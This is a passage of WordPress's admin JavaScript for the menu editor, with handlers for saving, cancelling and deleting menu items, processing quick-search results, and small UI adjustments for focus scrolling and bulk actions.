1710 eventOnClickCancelLink : function(clickedEl) {
1711 var settings = $( clickedEl ).closest( '.menu-item-settings' ),
1712 thisMenuItem = $( clickedEl ).closest( '.menu-item' );
1713
1714 thisMenuItem.removeClass( 'menu-item-edit-active' ).addClass( 'menu-item-edit-inactive' );
1715 settings.setItemData( settings.data( 'menu-item-data' ) ).hide();
1716 // Restore the title of the currently active/expanded menu item.
1717 thisMenuItem.find( '.menu-item-title' ).text( settings.data( 'menu-item-data' )['menu-item-title'] );
1718
1719 return false;
1720 },
1721
1722 eventOnClickMenuSave : function() {
1723 var menuName = $('#menu-name'),
1724 menuNameVal = menuName.val();
1725
1726 // Cancel and warn if invalid menu name.
1727 if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
1728 menuName.parent().addClass( 'form-invalid' );
1729 return false;
1730 }
1731 // Copy menu theme locations.
1732 // Note: This appears to be dead code since #nav-menu-theme-locations no longer exists, perhaps removed in r32842.
1733 var $updateNavMenu = $('#update-nav-menu');
1734 $('#nav-menu-theme-locations select').each(function() {
1735 $updateNavMenu.append(
1736 $( '<input>', {
1737 type: 'hidden',
1738 name: this.name,
1739 value: $( this ).val(),
1740 } )
1741 );
1742 });
1743 // Update menu item position data.
1744 api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } );
1745 window.onbeforeunload = null;
1746
1747 return true;
1748 },
1749
1750 eventOnClickMenuDelete : function() {
1751 // Delete warning AYS.
1752 if ( window.confirm( wp.i18n.__( 'You are about to permanently delete this menu.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
1753 window.onbeforeunload = null;
1754 return true;
1755 }
1756 return false;
1757 },
1758
1759 eventOnClickMenuItemDelete : function(clickedEl) {
1760 var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10);
1761
1762 api.removeMenuItem( $('#menu-item-' + itemID) );
1763 api.registerChange();
1764 return false;
1765 },
1766
1767 /**
1768 * Process the quick search response into a search result
1769 *
1770 * @param string resp The server response to the query.
1771 * @param object req The request arguments.
1772 * @param jQuery panel The tabs panel we're searching in.
1773 */
1774 processQuickSearchQueryResponse : function(resp, req, panel) {
1775 var matched, newID,
1776 takenIDs = {},
1777 form = document.getElementById('nav-menu-meta'),
1778 pattern = /menu-item[(\[^]\]*/,
1779 $items = $('<div>').html(resp).find('li'),
1780 wrapper = panel.closest( '.accordion-section-content' ),
1781 selectAll = wrapper.find( '.button-controls .select-all' ),
1782 $item;
1783
1784 if( ! $items.length ) {
1785 let noResults = wp.i18n.__( 'No results found.' );
1786 const li = $( '<li>' );
1787 const p = $( '<p>', { text: noResults } );
1788 li.append( p );
1789 $('.categorychecklist', panel).empty().append( li );
1790 $( '.spinner', panel ).removeClass( 'is-active' );
1791 wrapper.addClass( 'has-no-menu-item' );
1792 wp.a11y.speak( noResults, 'assertive' );
1793 return;
1794 }
1795
1796 $items.each(function(){
1797 $item = $(this);
1798
1799 // Make a unique DB ID number.
1800 matched = pattern.exec($item.html());
1801
1802 if ( matched && matched[1] ) {
1803 newID = matched[1];
1804 while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) {
1805 newID--;
1806 }
1807
1808 takenIDs[newID] = true;
1809 if ( newID != matched[1] ) {
1810 $item.html( $item.html().replace(new RegExp(
1811 'menu-item\\[' + matched[1] + '\\]', 'g'),
1812 'menu-item[' + newID + ']'
1813 ) );
1814 }
1815 }
1816 });
1817
1818 $('.categorychecklist', panel).html( $items );
1819 wp.a11y.speak( wp.i18n.sprintf( wp.i18n.__( '%d Search Results Found' ), $items.length ), 'assertive' );
1820 $( '.spinner', panel ).removeClass( 'is-active' );
1821 wrapper.removeClass( 'has-no-menu-item' );
1822
1823 if ( selectAll.is( ':checked' ) ) {
1824 selectAll.prop( 'checked', false );
1825 }
1826 },
1827
1828 /**
1829 * Remove a menu item.
1830 *
1831 * @param {Object} el The element to be removed as a jQuery object.
1832 *
1833 * @fires document#menu-removing-item Passes the element to be removed.
1834 */
1835 removeMenuItem : function(el) {
1836 var children = el.childMenuItems();
1837
1838 $( document ).trigger( 'menu-removing-item', [ el ] );
1839 el.addClass('deleting').animate({
1840 opacity : 0,
1841 height: 0
1842 }, 350, function() {
1843 var ins = $('#menu-instructions');
1844 el.remove();
1845 children.shiftDepthClass( -1 ).updateParentMenuItemDBId();
1846 if ( 0 === $( '#menu-to-edit li' ).length ) {
1847 $( '.drag-instructions' ).hide();
1848 ins.removeClass( 'menu-instructions-inactive' );
1849 }
1850 api.refreshAdvancedAccessibility();
1851 wp.a11y.speak( menus.itemRemoved );
1852 $( '#menu-to-edit' ).updateParentDropdown();
1853 $( '#menu-to-edit' ).updateOrderDropdown();
1854 });
1855 },
1856
1857 depthToPx : function(depth) {
1858 return depth * api.options.menuItemDepthPerLevel;
1859 },
1860
1861 pxToDepth : function(px) {
1862 return Math.floor(px / api.options.menuItemDepthPerLevel);
1863 }
1864
1865 };
1866
1867 $( function() {
1868
1869 wpNavMenu.init();
1870
1871 // Prevent focused element from being hidden by the sticky footer.
1872 $( '.menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select' ).on('focus', function() {
1873 if ( window.innerWidth >= 783 ) {
1874 var navMenuHeight = $( '#nav-menu-footer' ).height() + 20;
1875 var bottomOffset = $(this).offset().top - ( $(window).scrollTop() + $(window).height() - $(this).height() );
1876
1877 if ( bottomOffset > 0 ) {
1878 bottomOffset = 0;
1879 }
1880 bottomOffset = bottomOffset * -1;
1881
1882 if( bottomOffset < navMenuHeight ) {
1883 var scrollTop = $(document).scrollTop();
1884 $(document).scrollTop( scrollTop + ( navMenuHeight - bottomOffset ) );
1885 }
1886 }
1887 });
1888 });
1889
1890 // Show bulk action.
1891 $( document ).on( 'menu-item-added', function() {
1892 if ( ! $( '.bulk-actions' ).is( ':visible' ) ) {
1893 $( '.bulk-actions' ).show();
1894 }
1895 } );
1896
1897 // Hide bulk action.
1898 $( document ).on( 'menu-removing-item', function( e, el ) {
1899 var menuElement = $( el ).parents( '#menu-to-edit' );
1900 if ( menuElement.find( 'li' ).length === 1 && $( '.bulk-actions' ).is( ':visible' ) ) {
1901 $( '.bulk-actions' ).hide();
1902 }
1903 } );
1904
1905})(jQuery);
1906